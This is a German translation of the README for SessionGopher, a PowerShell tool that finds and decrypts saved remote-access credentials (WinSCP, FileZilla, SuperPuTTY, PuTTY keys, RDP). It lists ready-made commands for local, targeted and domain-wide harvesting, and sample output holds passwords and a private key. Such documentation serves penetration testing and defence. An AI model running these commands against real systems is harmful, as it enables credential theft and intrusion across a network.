
SessionGopher ist ein PowerShell-Tool, das WMI verwendet, um gespeicherte Sitzungsinformationen für Remotezugriffstools wie WinSCP, PuTTY, SuperPuTTY, FileZilla und Microsoft Remote Desktop zu extrahieren. Es kann remote oder lokal ausgeführt werden.
Copyright 2017 FireEye, erstellt von Brandon Arvanaghi (@arvanaghi)
Lizenziert unter der Apache License, Version 2.0 (der „License"); Sie dürfen diese Datei nur in Übereinstimmung mit der License verwenden. Sie können eine Kopie der License erhalten unter
http://www.apache.org/licenses/LICENSE-2.0
Sofern nicht durch geltendes Recht gefordert oder schriftlich vereinbart, wird die Software unter der License auf einer „AS IS"-Basis verteilt, OHNE GEWÄHRLEISTUNGEN ODER BEDINGUNGEN JEGLICHER ART, weder ausdrücklich noch stillschweigend. Die spezifischen Berechtigungen und Einschränkungen unter der License finden Sie in der License.
SessionGopher ist ein PowerShell-Tool, das gespeicherte Sitzungsinformationen für Remote-Zugriffswerkzeuge findet und entschlüsselt. Es verfügt über integrierte WMI-Funktionalität und kann daher remote ausgeführt werden. Der beste Anwendungsfall ist die Identifizierung von Systemen, die möglicherweise eine Verbindung zu Unix-Systemen, Sprungservern (Jump Boxes) oder Kassenterminals (Point-of-Sale-Terminals) herstellen.
SessionGopher funktioniert, indem es die HKEY_USERS-Struktur nach allen Benutzern durchsucht, die sich irgendwann an einem in die Domäne eingebundenen Rechner angemeldet haben. Es extrahiert gespeicherte Sitzungsinformationen von PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP. Es extrahiert und entschlüsselt automatisch gespeicherte Passwörter von WinSCP, FileZilla und SuperPuTTY.
Im Modus -Thorough durchsucht es außerdem alle Laufwerke nach PuTTY-Private-Key-Dateien (.ppk) und extrahiert alle relevanten Private-Key-Informationen, einschließlich des Schlüssels selbst, sowie nach Remote Desktop (.rdp)- und RSA (.sdtid)-Dateien.
-Thorough: durchsucht alle Laufwerke nach PuTTY Private Key (.ppk), Remote Desktop Connection (.rdp) und RSA (.sdtid) Dateien.
-o: gibt die Daten in einen Ordner mit .csv-Dateien aus
-iL: Geben Sie eine Datei mit einer Liste von Hosts an, gegen die SessionGopher ausgeführt werden soll; jeder Host durch eine neue Zeile getrennt. Geben Sie den Pfad zu der Datei nach -iL an.
-AllDomain: SessionGopher fragt Active Directory nach allen in die Domäne eingebundenen Systemen ab und führt die Ausführung gegen alle aus.
-Target: ein bestimmter Host, den Sie anvisieren möchten. Geben Sie den Zielhost nach -Target an.
. .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Für die Remote-Ausführung können Sie entweder die Anmeldeinformationen eines privilegierten Kontos für das entfernte System über die Flags -u und -p angeben. Wenn Sie die Flags -u und -p weglassen,
wird SessionGopher im Sicherheitskontext des Kontos ausgeführt, mit dem Sie das Skript ausführen (z. B. wenn Sie bereits als DA-Konto angemeldet sind oder als ein Konto, das
lokaler Administrator auf dem Zielsystem ist, oder wenn Sie eine runas mit einem von beiden ausführen, benötigen Sie keine Anmeldeinformationen).
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
oder
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
oder
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
Jeder dieser Befehle kann mit -Thorough kombiniert werden, aber beachten Sie, dass es deutlich länger dauert, da das gesamte entfernte Dateisystem durchsucht wird. Es wird nicht empfohlen, im -Thorough-Modus zu arbeiten, wenn Sie
mehr als eine kleine Menge von Systemen gleichzeitig abfragen.
Eine Remote-Ausführung mit -o (Ausgabe als CSV) funktioniert gut, da SessionGopher alle gefundenen Sitzungen sammelt und Ihnen genau mitteilt, wo es diese gespeicherte Sitzung gefunden hat.
Damit SessionGopher einen Ordner erstellt, der .csvs der extrahierten Sitzungen ordentlich enthält:
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
... das war's.
Der Zugriff auf die gespeicherten Sitzungsinformationen für jeden Benutzer in HKEY_USERS erfordert lokale Administratorrechte. Ohne lokale Administratorrechte erhalten Sie weiterhin gespeicherte Sitzungsinformationen für diesen Benutzer.
[+] Digging on Win7-Arvanaghi ...
WinSCP Sessions
Session : [email protected]
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd
Session : [email protected]
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892
FileZilla Sessions
Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen
Protocol : Use FTP over TLS if available
Account : BarryAllenAccount
Port : 22
PuTTY Sessions
Session : PointOfSaleTerminal
Hostname : 10.8.0.10
PuTTY Private Key Files (.ppk)
Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116
Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
Private MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft Remote Desktop (RDP) Sessions
Hostname : us.greatsite.com
Username : Domain\tester
Microsoft Remote Desktop .rdp Files
Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc01.corp.hackerplaypen.com
Gateway : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session : Does not connect to admin session on remote host
Geschrieben von Brandon Arvanaghi (@arvanaghi)
Dieser Code wurde ursprünglich bei FireEye entwickelt. Alle nachfolgenden Aktualisierungen erfolgen jedoch durch den Autor außerhalb von FireEye.